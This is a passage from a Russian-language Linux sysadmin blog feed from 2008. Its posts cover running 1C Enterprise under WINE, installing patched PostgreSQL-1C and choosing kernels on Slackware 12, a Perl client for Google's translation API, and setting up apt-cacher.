&lt;a href="http://picasaweb.google.ru/xeimxeim/UseCatalyst/photo?authkey=JtDHH46LyI0#5207496822653834066"&gt;&lt;img src="http://lh3.ggpht.com/xeimxeim/SES-xQtB01I/AAAAAAAAAEs/mfxpzPvT9Fc/s400/Screenshot-8.png" /&gt;&lt;/a&gt;
&lt;a href="http://picasaweb.google.ru/xeimxeim/UseCatalyst/photo?authkey=JtDHH46LyI0#5207496917021234706"&gt;&lt;img src="http://lh6.ggpht.com/xeimxeim/SES-2wP-FhI/AAAAAAAAAE0/ZUpWAWQzH2Q/s400/Screenshot-11.png" /&gt;&lt;/a&gt;
&lt;a href="http://picasaweb.google.ru/xeimxeim/UseCatalyst/photo?authkey=JtDHH46LyI0#5207497396630812162"&gt;&lt;img src="http://lh6.ggpht.com/xeimxeim/SES_Sq7zdgI/AAAAAAAAAFI/QijDofGQlLI/s400/Screenshot-13.png" /&gt;&lt;/a&gt;


&lt;p&gt;Устанавливаем конфигурацию, например такую:&lt;/p&gt;
&lt;pre&gt;admin@zam:~$ wine ~/wine_c/1s/conf/482/R770482/DISK1/setup.exe&lt;/pre&gt;
&lt;p&gt;Ещё скриншоты:&lt;/p&gt;

&lt;a href="http://picasaweb.google.ru/xeimxeim/UseCatalyst/photo?authkey=JtDHH46LyI0#5207501904262238242"&gt;&lt;img src="http://lh5.ggpht.com/xeimxeim/SETDZDK4kCI/AAAAAAAAAFQ/XQ1ADf_DDag/s400/Screenshot-16.png" /&gt;&lt;/a&gt;
&lt;a href="http://picasaweb.google.ru/xeimxeim/UseCatalyst/photo?authkey=JtDHH46LyI0#5207501907763377314"&gt;&lt;img src="http://lh5.ggpht.com/xeimxeim/SETDZQNntKI/AAAAAAAAAFY/M3_oIKvElRc/s400/Screenshot-17.png" /&gt;&lt;/a&gt;
&lt;a href="http://picasaweb.google.ru/xeimxeim/UseCatalyst/photo?authkey=JtDHH46LyI0#5207501918827837410"&gt;&lt;img src="http://lh5.ggpht.com/xeimxeim/SETDZ5bl9-I/AAAAAAAAAFg/mhPcr7YyC-E/s400/Screenshot-18.png" /&gt;&lt;/a&gt;
&lt;a href="http://picasaweb.google.ru/xeimxeim/UseCatalyst/photo?authkey=JtDHH46LyI0#5207501925679526146"&gt;&lt;img src="http://lh4.ggpht.com/xeimxeim/SETDaS9KcQI/AAAAAAAAAFo/eEVc7-o9efg/s400/Screenshot-20.png" /&gt;&lt;/a&gt;


&lt;p&gt;Далее запускаем из стартового меню «Приложения &gt;&gt; Wine &gt;&gt; Программы &gt;&gt; 1С Предприятие 7.7 &gt;&gt; 1С Предприятие» Первый запуск делаем в монопольном режиме и отвечаем на все задаваемые вопросы. После этого можно запускать 1С в обычном пользовательском режиме.&lt;/p&gt;

&lt;pre&gt;admin@zam:~$ wine "C:\\Program Files\\1Cv77\\BIN\\1cv7"&lt;/pre&gt;

&lt;a href="http://picasaweb.google.ru/xeimxeim/UseCatalyst/photo?authkey=JtDHH46LyI0#5207503637105472338"&gt;&lt;img src="http://lh5.ggpht.com/xeimxeim/SETE96g581I/AAAAAAAAAFw/Ofl_mCFGJPc/s400/Screenshot-23.png" /&gt;&lt;/a&gt;
&lt;a href="http://picasaweb.google.ru/xeimxeim/UseCatalyst/photo?authkey=JtDHH46LyI0#5207503661587225698"&gt;&lt;img src="http://lh5.ggpht.com/xeimxeim/SETE_Vtz3GI/AAAAAAAAAF4/gfSbQQ9cDJY/s400/Screenshot-24.png" /&gt;&lt;/a&gt;
&lt;a href="http://picasaweb.google.ru/xeimxeim/UseCatalyst/photo?authkey=JtDHH46LyI0#5207503674151121298"&gt;&lt;img src="http://lh6.ggpht.com/xeimxeim/SETFAEhRsZI/AAAAAAAAAGA/xHZyMw5vR7w/s400/Screenshot-35.png" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-5911844927703832369?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/5911844927703832369/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=5911844927703832369' title='Комментарии: 1'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/5911844927703832369'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/5911844927703832369'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2008/06/1-77-wineetersoft.html' title='Установка 1С Предприятие 7.7 на WINE@Etersoft'/><author><name>xeim</name><uri>http://www.blogger.com/profile/04215192691734396462</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/xeimxeim/SES6XgvNe7I/AAAAAAAAADY/BM0F_o-FCMo/s72-c/Screenshot-Setup%20Initialization%20Error.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-6965316406985244839</id><published>2008-05-23T09:14:00.006+11:00</published><updated>2008-05-23T10:14:43.517+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='slackware'/><title type='text'>Установка PostgreSQL-1С для Slackware 12</title><content type='html'>&lt;p&gt;Замечательная компания &amp;laquo;&lt;a href="http://www.etersoft.ru/content/view/42/139/"&gt;Этерсофт&lt;/a&gt;&amp;raquo; выпускает некий программный продукт &lt;a href="http://www.etersoft.ru/content/view/154/208/"&gt;SELTA@Etersoft&lt;/a&gt;. Для работы этого продукта требуется &lt;a href="http://wiki.etersoft.ru/PostgreSQL/Patch?v=ki6"&gt;патченная версия СУБД PostgreSQL&lt;/a&gt;. Для скачивания &lt;a href="http://updates.etersoft.ru/pub/Etersoft/PostgreSQL/8.2/"&gt;доступны&lt;/a&gt; исходные коды и бинарные сборки для большого количества операционных систем.&lt;/p&gt;

&lt;p&gt;Теперь хватит рекламы, приступаю к описанию проблемы. Среди поддерживаемых операционных систем заявлена Slackware&amp;nbsp;12. Однако, предоставленные пакеты не работают &amp;laquo;искаробки&amp;raquo; без доработки напильником. Справедливости ради надо заметить, что компания честно предупреждает о создании пакетов в неком производном от Slackware дистрибутиве MOPSLinux. Все это написано главным образом для себя, т.к. установку пришлось делать уже во второй раз, и не факт, что последний.&lt;br&gt;&lt;br&gt;&lt;/p&gt;


&lt;p&gt;Шаг 1. Убеждаемся что установлен пакет &lt;tt&gt;sysvinit-functions&lt;/tt&gt;:&lt;/p&gt;
&lt;pre&gt;root@darkstar:~# ls /var/log/packages/sysvinit-functions*
/var/log/packages/sysvinit-functions-8.53-i486-2&lt;/pre&gt;
&lt;p&gt;Если нет, то устанавливаем его.&lt;/p&gt;



&lt;p&gt;Шаг 2. Устанавливаем &lt;a href="http://updates.etersoft.ru/pub/Etersoft/PostgreSQL/8.2/Slackware/12/"&gt;выкачанные пакеты PostreSQL 1C&lt;/a&gt;:&lt;br&gt;
&lt;tt&gt;postgresql8.2.1C-8.2.4&lt;/tt&gt;&lt;br&gt;
&lt;tt&gt;postgresql8.2.1C-server-8.2.4&lt;/tt&gt;&lt;br&gt;
&lt;tt&gt;postgresql8.2.1C-libs-8.2.4&lt;/tt&gt;&lt;br&gt;
&lt;tt&gt;postgresql8.2.1C-contrib-8.2.4&lt;/tt&gt;&lt;/p&gt;



&lt;p&gt;Шаг 3. Почему-то при установке не создается необходимый пользователь и группа. Делаем это вручную:&lt;/p&gt;
&lt;pre&gt;root@darkstar:~# groupadd postgres
root@darkstar:~# useradd -g postgres postgres
root@darkstar:~# chown -R postgres:postgres /var/lib/pgsql&lt;/pre&gt;



&lt;p&gt;Шаг 4. Стартовый скрипт /etc/rc.d/init.d/postresql категорически не способен работать в Slackware. Накладываем патч:&lt;/p&gt;
&lt;pre&gt;&lt;font color="#a52a2a"&gt;84c84&lt;/font&gt;
&lt;font color="#6a5acd"&gt;&amp;lt; . /etc/sysconfig/network&lt;/font&gt;
---
&lt;font color="#008b8b"&gt;&amp;gt; #. /etc/sysconfig/network&lt;/font&gt;
&lt;font color="#a52a2a"&gt;189c189&lt;/font&gt;
&lt;font color="#6a5acd"&gt;&amp;lt;       $SU -s /bin/sh -l postgres -c "$PGENGINE/postmaster -p '$PGPORT' -D '$PGDATA' ${PGOPTS} &amp;amp;" &amp;gt;&amp;gt; "$PGLOG" 2&amp;gt;&amp;amp;1 &amp;lt; /dev/null&lt;/font&gt;
---
&lt;font color="#008b8b"&gt;&amp;gt;       $SU postgres -c "$PGENGINE/postmaster -p \"$PGPORT\" -D \"$PGDATA\" ${PGOPTS} &amp;amp;" &amp;gt;&amp;gt; "$PGLOG" 2&amp;gt;&amp;amp;1 &amp;lt; /dev/null&lt;/font&gt;
&lt;font color="#a52a2a"&gt;207c207&lt;/font&gt;
&lt;font color="#6a5acd"&gt;&amp;lt;       $SU -s /bin/sh -l postgres -s /bin/sh -c "$PGENGINE/pg_ctl stop -D '$PGDATA' -s -m fast" &amp;gt; /dev/null 2&amp;gt;&amp;amp;1 &amp;lt; /dev/null&lt;/font&gt;
---
&lt;font color="#008b8b"&gt;&amp;gt;       $SU postgres -c "$PGENGINE/pg_ctl stop -D \"$PGDATA\" -s -m fast" &amp;gt; /dev/null 2&amp;gt;&amp;amp;1 &amp;lt; /dev/null&lt;/font&gt;
&lt;font color="#a52a2a"&gt;243c243&lt;/font&gt;
&lt;font color="#6a5acd"&gt;&amp;lt;                       $SU -l postgres -s /bin/sh -c "LANG=ru_RU.UTF-8 $PGENGINE/initdb --pgdata='$PGDATA' --auth='ident sameuser'" &amp;gt;&amp;gt; "$PGLOG" 2&amp;gt;&amp;amp;1 &amp;lt; /dev/null&lt;/font&gt;
---
&lt;font color="#008b8b"&gt;&amp;gt;                       LANG=ru_RU.UTF-8 $SU postgres -c "$PGENGINE/initdb --pgdata=\"$PGDATA\" --auth=\"ident sameuser\"" &amp;gt;&amp;gt; "$PGLOG" 2&amp;gt;&amp;amp;1 &lt; /dev/null&lt;/font&gt;
&lt;font color="#a52a2a"&gt;263c263&lt;/font&gt;
&lt;font color="#6a5acd"&gt;&amp;lt;     $SU -l postgres -s /bin/sh -c "$PGENGINE/pg_ctl reload -D '$PGDATA' -s" &amp;gt; /dev/null 2&amp;gt;&amp;amp;1 &amp;lt; /dev/null&lt;/font&gt;
---
&lt;font color="#008b8b"&gt;&amp;gt;     $SU postgres -c "$PGENGINE/pg_ctl reload -D \"$PGDATA\" -s" &amp;gt; /dev/null 2&amp;gt;&amp;amp;1 &amp;lt; /dev/null&lt;/font&gt;&lt;/pre&gt;



&lt;p&gt;Шаг 5. Шаманства кончились. Далее инициализируем базу данных:&lt;/p&gt;
&lt;pre&gt;root@darkstar:~# /etc/rc.d/init.d/postgresql initdb
Initializing database:                                     [  OK  ]&lt;/pre&gt;



&lt;p&gt;Шаг 6. Запуск сервера PostreSQL:&lt;/p&gt;
&lt;pre&gt;root@darkstar:~# /etc/rc.d/init.d/postgresql start 
Starting postgresql service:                               [  OK  ]&lt;/pre&gt;



&lt;p&gt;Шаг 7. Прописываем запуск PostreSQL при загрузке компьютера:&lt;/p&gt;
&lt;pre&gt;root@darkstar:~# cd /etc/rc.d/rc3.d
root@darkstar:/etc/rc.d/rc3.d# ln -s ../init.d/postgresql S40postgresql
root@darkstar:/etc/rc.d/rc3.d# ln -s ../init.d/postgresql K60postgresql&lt;/pre&gt;

&lt;p&gt;Все, установка PostreSQL завершена. В завершение необходимо выполнить действия по его &lt;a href="http://wiki.etersoft.ru/PostgreSQL?v=mga#h197-3"&gt;настройке&lt;/a&gt;.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-6965316406985244839?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/6965316406985244839/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=6965316406985244839' title='Комментарии: 3'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/6965316406985244839'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/6965316406985244839'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2008/05/postgresql-1-slackware-12.html' title='Установка PostgreSQL-1С для Slackware 12'/><author><name>xeim</name><uri>http://www.blogger.com/profile/04215192691734396462</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-129502864254968098</id><published>2008-04-28T17:49:00.007+11:00</published><updated>2008-04-28T18:09:15.978+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><title type='text'>Google AJAX Language API</title><content type='html'>&lt;p&gt;Великий Google порадовал разработчиков новым online сервисом &amp;laquo;&lt;a href="http://code.google.com/intl/ru/apis/ajaxlanguage/"&gt;Google AJAX Language API&lt;/a&gt;&amp;raquo;. Функционал нового API&amp;nbsp;&amp;mdash; опреление языка текста и получение его перевода. На текущий момент &lt;a href="http://code.google.com/intl/ru/apis/ajaxlanguage/documentation/#SupportedLanguages"&gt;поддерживается 13 языков&lt;/a&gt;, среди которых есть и русский. Переводы выполняются только на английский или только с английского языка, т.е. нельзя например напрямую перевести с русского на итальянский.&lt;/p&gt;

&lt;p&gt;Чем это может быть полезно web-разработчику? Один из вариантов применения&amp;nbsp;&amp;mdash; генерация url-ов для динамического контента, по заголовку новости, теме в форуме или поста в блоге. А с кирилицей в урлах пока дела обстоят неважно. Например, урл новостей на &lt;a href="http://linux.org.ru"&gt;ЛОРе&lt;/a&gt; никуда не годится в эпоху Web&amp;nbsp;2.0 :-)&lt;br&gt;
&lt;a href="http://www.linux.org.ru/view-message.jsp?msgid=2686861"&gt;http://www.linux.org.ru/view-message.jsp?msgid=2686861&lt;/a&gt;&lt;br&gt;
Куда симпатичнее смотрелось бы:&lt;br&gt;
http://www.linux.org.ru/news/ubuntu_8.04_released&lt;br&gt;
или&lt;br&gt;
http://www.linux.org.ru/news/2008/04/23/ubuntu_8.04_released&lt;/p&gt;

&lt;p&gt;Сам Google позиционирует свой сервис для использования совместно с javascript. Однако, на практике, ничто не мешает применять любой другой язык программирования. Вот небольшой пример на perl, который позволяет получать онлайн перевод с русского на английский в консоли:&lt;br&gt;&lt;/p&gt;

&lt;pre&gt;&lt;font color="#1212ff"&gt;#!/usr/bin/perl -w&lt;/font&gt;
&lt;font color="#a62d2d"&gt;use&lt;/font&gt; strict;

&lt;font color="#a62d2d"&gt;use&lt;/font&gt; URI::Escape;
&lt;font color="#a62d2d"&gt;use&lt;/font&gt; LWP::UserAgent;
&lt;font color="#a62d2d"&gt;use&lt;/font&gt; JSON;

&lt;font color="#a62d2d"&gt;my&lt;/font&gt; &lt;font color="#2e8b57"&gt;$text&lt;/font&gt;       = &lt;font color="#2e8b57"&gt;$ARGV&lt;/font&gt;[0];
&lt;font color="#a62d2d"&gt;my&lt;/font&gt; &lt;font color="#2e8b57"&gt;$escaped&lt;/font&gt;    = uri_escape( &lt;font color="#2e8b57"&gt;$text&lt;/font&gt; );
&lt;font color="#a62d2d"&gt;my&lt;/font&gt; &lt;font color="#2e8b57"&gt;$user_agent&lt;/font&gt; = LWP::UserAgent-&gt;new;
&lt;font color="#2e8b57"&gt;$user_agent&lt;/font&gt;-&gt;env_proxy;
&lt;font color="#a62d2d"&gt;my&lt;/font&gt; &lt;font color="#2e8b57"&gt;$response&lt;/font&gt;   = &lt;font color="#2e8b57"&gt;$user_agent&lt;/font&gt;-&gt;get(
    &lt;font color="#ff2dff"&gt;"http://ajax.googleapis.com/ajax/services/language/translate"&lt;/font&gt; .
    &lt;font color="#ff2dff"&gt;"?v=1.0&amp;q=$escaped&amp;langpair=ru%7Cen"&lt;/font&gt;
)-&gt;content;
&lt;font color="#a62d2d"&gt;my&lt;/font&gt; &lt;font color="#2e8b57"&gt;$translated&lt;/font&gt; = jsonToObj(&lt;font color="#2e8b57"&gt;$response&lt;/font&gt;)-&gt;{responseData}-&gt;{translatedText};

&lt;font color="#a62d2d"&gt;print&lt;/font&gt; &lt;font color="#2e8b57"&gt;$translated&lt;/font&gt;, &lt;font color="#ff2dff"&gt;"\n"&lt;/font&gt;;
&lt;/pre&gt;


&lt;p&gt;&lt;br&gt;Пример использования:&lt;/p&gt;
&lt;pre&gt;$ ./ggl_trnslt.pl "Возьми моё сердце"
Take my heart&lt;/pre&gt;

&lt;p&gt;Если слово не найдено в словаре, то производится его транслитерация, что обычно лучше чем ничего:&lt;/p&gt;
&lt;pre&gt;./ggl_trnslt.pl паровоз
parovoz&lt;/pre&gt;

&lt;p&gt;Хотя и непонятно, почему Гугль не знает про паровозы... Остается надеяться что со временем качество перевода возрастет.&lt;/p&gt;

&lt;p&gt;Русский текст должен быть в кодировке utf8. Пример упрощен, в частности не делает никаких проверок на ошибки, но зато хорошо демонстрирует принцип использования.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-129502864254968098?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/129502864254968098/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=129502864254968098' title='Комментарии: 2'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/129502864254968098'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/129502864254968098'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2008/04/google-ajax-language-api.html' title='Google AJAX Language API'/><author><name>xeim</name><uri>http://www.blogger.com/profile/04215192691734396462</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-3442433670477802526</id><published>2008-04-18T15:03:00.005+11:00</published><updated>2008-04-18T16:55:33.103+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='slackware'/><title type='text'>Стандартные ядра в Slackware 12</title><content type='html'>&lt;p&gt;&lt;em&gt;Какие версии ядра есть в Slackware&amp;nbsp;12 и как ими пользоваться.&lt;/em&gt;&lt;br&gt;Данная статья предворяет будущий рассказ о сборке ядра в slackware пакет. Эта информация специфична для Slackware&amp;nbsp;12, в предыдущих версиях системы все было не так.&lt;/p&gt;

&lt;p&gt;В дистрибутив Slackware 12 включены 4 сборки ядра 2.6.21.5. Вот они:&lt;/p&gt;
&lt;pre&gt;kernel-huge-smp-2.6.21.5_smp-i686-2.tgz
kernel-huge-2.6.21.5-i486-2.tgz
kernel-generic-smp-2.6.21.5_smp-i686-2.tgz
kernel-generic-2.6.21.5-i486-2.tgz&lt;/pre&gt;

&lt;p&gt;Как видно из названий пакетов, 4 сборки ядра получены путем комбинации признаков:&lt;br&gt;
huge или generic&lt;br&gt;
smp или no_smp&lt;/p&gt;

&lt;h3&gt;SMP версия ядра&lt;/h3&gt;

&lt;p&gt;Разберемся сначала с тем, что попроще. &lt;a href="http://ru.wikipedia.org/wiki/%D0%A1%D0%B8%D0%BC%D0%BC%D0%B5%D1%82%D1%80%D0%B8%D1%87%D0%BD%D0%BE%D0%B5_%D0%BC%D1%83%D0%BB%D1%8C%D1%82%D0%B8%D0%BF%D1%80%D0%BE%D1%86%D0%B5%D1%81%D1%81%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5"&gt;SMP&lt;/a&gt; (Symmetric Multiprocessing)&amp;nbsp;&amp;mdash; это поддержка многопроцессорных систем и многоядерных процессоров. Если у вас в компьютере есть несколько процессоров или один процессор с двумя (или более) ядрами, например &lt;a href="http://www.intel.com/cd/products/services/emea/rus/processors/core2duo/300491.htm"&gt;Intel Core2Duo&lt;/a&gt;, то чтобы получить максимальную производительность вы должны выбрать smp ядро. Если у вас один одноядерный процессор, например &lt;a href="http://www.intel.com/cd/products/services/emea/rus/desktop/processors/327665.htm"&gt;Intel Celeron&lt;/a&gt;, то чтобы ядро занимало меньше памяти и не обрабатывало неподдерживаемые конфигурации оборудования следует выбрать не smp ядро. Кроме того, для очень старых процессоров&amp;nbsp;&amp;mdash; Pentium Pro и ниже, также необходимо выбирать не smp ядро, т.к. smp версия собрана с использованием архитектуры i686. Убедится что smp ядро работает с вашим процессором можно с помощью команды:&lt;/p&gt;

&lt;pre&gt;cat /proc/cpuinfo&lt;/pre&gt;

&lt;p&gt;Вы должны увидеть информацию о нескольких процессорах, а не об одном.&lt;/p&gt;

&lt;h3&gt;Huge/generic версия ядра&lt;/h3&gt;

&lt;p&gt;Теперь рассмотрим признаки huge и generic.&lt;/p&gt;

&lt;p&gt;Huge (огромное) &amp;mdash; ядро, содержащее вкомпиленные модули для большинства дисковых (SCSI, RAID) контроллеров и файловых систем. При использовании этого ядра у вас в принципе не возникает проблем с загрузкой системы, даже с экзотического оборудования или файловых систем, типа xfs или jfs. Однако, это ядро занимает больше оперативной памяти и работает медленнее. После установки системы всегда по-умолчанию запускается huge ядро.&lt;/p&gt;

&lt;p&gt;Generic (общее) &amp;mdash; ядро, в котором драйвера дисковых контроллеров и файловых систем собраны в виде внешних загружаемых модулей. Для загрузки такого ядра нужен initrd образ, содержащий необходимые драйвера. Эта версия ядра требует дополнительных телодвижений при настройке, но занимает меньше памяти и работает быстрее.&lt;/p&gt;

&lt;h3&gt;Переключение на другое ядро&lt;/h3&gt;

&lt;p&gt;Итак, исходя из изложенной информации вы уже должны знать какое из стандартных ядер вам подходит больше всего. Вопрос в том, как переключится на другое ядро. Ответ &amp;mdash; настроить загрузчик lilo, естественно. Для huge ядер это делается очень просто, в файле /etc/lilo.conf должны быть такие строки:&lt;/p&gt;

&lt;pre&gt;#huge-smp:
image = /boot/vmlinuz-huge-smp-2.6.21.5-smp
  root  = /dev/xxxN
  label = lnx-huge-smp
  read-only

#huge-nosmp
image = /boot/vmlinuz-huge-2.6.21.5
  root  = /dev/xxxN
  label = lnx-huge
  read-only&lt;/pre&gt;

&lt;p&gt;Напомню пару правил при работе с загрузчиком lilo.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;После изменения файла /etc/lilo.conf всегда запускайте утилиту lilo, чтобы изменения вступили в силу.&lt;/li&gt;
&lt;li&gt;Всегда оставляйте один из пуктов меню с гарантированно рабочей конфигурацией на случай, если что-то пойдет не так.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Для generic ядер надо создавать initrd образ. Для этого используется утилита mkinitrd. Например, мне надо создать initrd образ для ядра generic-smp, корневая файловая система на ext3. Тогда мне необходимо ввести команду:&lt;/p&gt;
   
&lt;pre&gt;mkinitrd -с -k 2.6.21.5-smp -m ext3 -o /boot/initrd-generic-smp-2.6.21.5.gz&lt;/pre&gt;

&lt;p&gt;Ещё пример &amp;mdash; initrd образ для ядра generic-nosmp и корневая файловая система reiserfs:&lt;/p&gt;

&lt;pre&gt;mkinitrd -с -k 2.6.21.5 -m reiserfs -o /boot/initrd-generic-2.6.21.5.gz&lt;/pre&gt;

&lt;p&gt;Теперь как это прописать в /etc/lilo.conf:&lt;/p&gt;

&lt;pre&gt;#generic-smp:
image = /boot/vmlinuz-generic-smp-2.6.21.5-smp
  initrd = /boot/initrd-generic-smp-2.6.21.5.gz
  root   = /dev/xxxN
  label  = lnx-gen-smp
  read-only

#generic-nosmp
image = /boot/vmlinuz-generic-2.6.21.5
  initrd = /boot/initrd-generic-2.6.21.5.gz
  root   = /dev/xxxN
  label  = lnx-gen
  read-only&lt;/pre&gt;

&lt;p&gt;В заключении скажу, что переход на generic ядро всегда оправдан. В моём тестовом случае:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Освободилось 5Мб оперативной памяти. Вычислялось как разница между показаниями&lt;br&gt;
&lt;tt&gt;grep MemTotal /proc/meminfo&lt;/tt&gt;&lt;br&gt;
для huge и generic ядра.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Количество системных процессов ядра, те, чьи имена пишутся в квадратных скобочках, уменьшилось на 11 штук:&lt;br&gt;
&lt;tt&gt;ps axo cmd | grep \\[&lt;/tt&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-3442433670477802526?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/3442433670477802526/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=3442433670477802526' title='Комментарии: 3'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/3442433670477802526'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/3442433670477802526'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2008/04/slackware-12.html' title='Стандартные ядра в Slackware 12'/><author><name>xeim</name><uri>http://www.blogger.com/profile/04215192691734396462</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-626323725410407552</id><published>2008-02-26T09:54:00.003+10:00</published><updated>2008-02-26T14:54:26.582+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='slackware'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><title type='text'>Кешируюший прокси deb пакетов apt-cacher на slackware</title><content type='html'>&lt;p&gt;Моими стараниями количество desktop-ов в организации, работающих под Ubuntu приближается к 10 шт. В дальнейшем их станет больше. Возникает проблема установки дополнительных программ и обновления существующих. Качать пакеты индивидуально для каждого компьютера &amp;mdash; долго и не экономит интернет-трафик. Решение заключается в установке одного из кеширующих прокси серверов для deb пакетов. Например apt-cacher, преимущество которого в том что не надо изменять урлы репозитариев, а только настройки прокси-сервера для пакетной системы apt. Описывать установку и настройку apt-cacher на debian или любой debian-based операционной системе, в том числе на ubuntu, я не буду. Во-первых это элементарно, во-вторых уже не раз описано, например &lt;a href="http://whylinux.ru/2008/01/11/tt-keshiruem-pakety-s-apt-cacher/"&gt;здесь&lt;/a&gt;. К тому же у меня нет серверов на ubuntu, зато есть сервера на slackware. Вот и займемся установкой apt-cacher на slackware 12.&lt;/p&gt;

&lt;p&gt;Сначала посмотрим на зависимости пакета:&lt;/p&gt;
&lt;pre&gt;maxim@ubuntu:~$ apt-cache depends apt-cacher
apt-cacher
  Зависит: perl
  Зависит: bzip2
  Зависит: libwww-perl
  Предлагает: libdbd-sqlite3-perl&lt;/pre&gt;

&lt;p&gt;Радует что apt-cacher написан на perl. Нам понадобится perl библиотека libwww-perl. Установим её на slackware с помошью утилиты cpan2tgz. Можно почитать &lt;a href="http://xeim.blogspot.com/2007/08/perl-slackware.html"&gt;подробнее про использование cpan2tgz&lt;/a&gt;.&lt;/p&gt;
&lt;pre&gt;root@darkstar:~# cpan2tgz LWP&lt;/pre&gt;

&lt;p&gt;С зависимостями разобрались, теперь на ubuntu скачиваем deb пакет apt-cacher:&lt;/p&gt;
&lt;pre&gt;maxim@ubuntu:~$ aptitude download apt-cacher&lt;/pre&gt;

&lt;p&gt;Получили файл apt-cacher_1.5.3_all.deb. Далее устанавливаем программу, если у вас её ещё нет, для преобразования пакетов в разные форматы &amp;mdash; alien:&lt;/p&gt;
&lt;pre&gt;maxim@ubuntu:~$ sudo aptitude install alien&lt;/pre&gt;

&lt;p&gt;Преобразуем deb пакет в tgz пакет:&lt;/p&gt;
&lt;pre&gt;maxim@ubuntu:~$ sudo alien --to-tgz -k apt-cacher_1.5.3_all.deb&lt;/pre&gt;

&lt;p&gt;Получили файл apt-cacher-1.5.3.tgz. Изучим его содержимое:&lt;/p&gt;
&lt;pre&gt;maxim@ubuntu:~$ tar -tzf apt-cacher-1.5.3.tgz 
./
./usr/
./usr/sbin/
./usr/sbin/apt-cacher
./usr/share/
./usr/share/man/
./usr/share/man/man1/
./usr/share/man/man1/apt-cacher.1.gz
./usr/share/apt-cacher/
./usr/share/apt-cacher/apt-cacher-precache.pl
./usr/share/apt-cacher/apt-cacher.pl
./usr/share/apt-cacher/apt-proxy-to-apt-cacher
./usr/share/apt-cacher/apt-cacher
./usr/share/apt-cacher/apt-cacher-report.pl
./usr/share/apt-cacher/apt-cacher-lib.pl
./usr/share/apt-cacher/remove.pl
./usr/share/apt-cacher/apt-cacher-format-transition.pl
./usr/share/apt-cacher/apt-cacher-import.pl
./usr/share/apt-cacher/upgrade.pl
./usr/share/apt-cacher/apt-cacher-lib-cs.pl
./usr/share/apt-cacher/install.pl
./usr/share/apt-cacher/apt-cacher-cleanup.pl
./usr/share/doc/
./usr/share/doc/apt-cacher/
./usr/share/doc/apt-cacher/copyright
./usr/share/doc/apt-cacher/NEWS.Debian.gz
./usr/share/doc/apt-cacher/changelog.gz
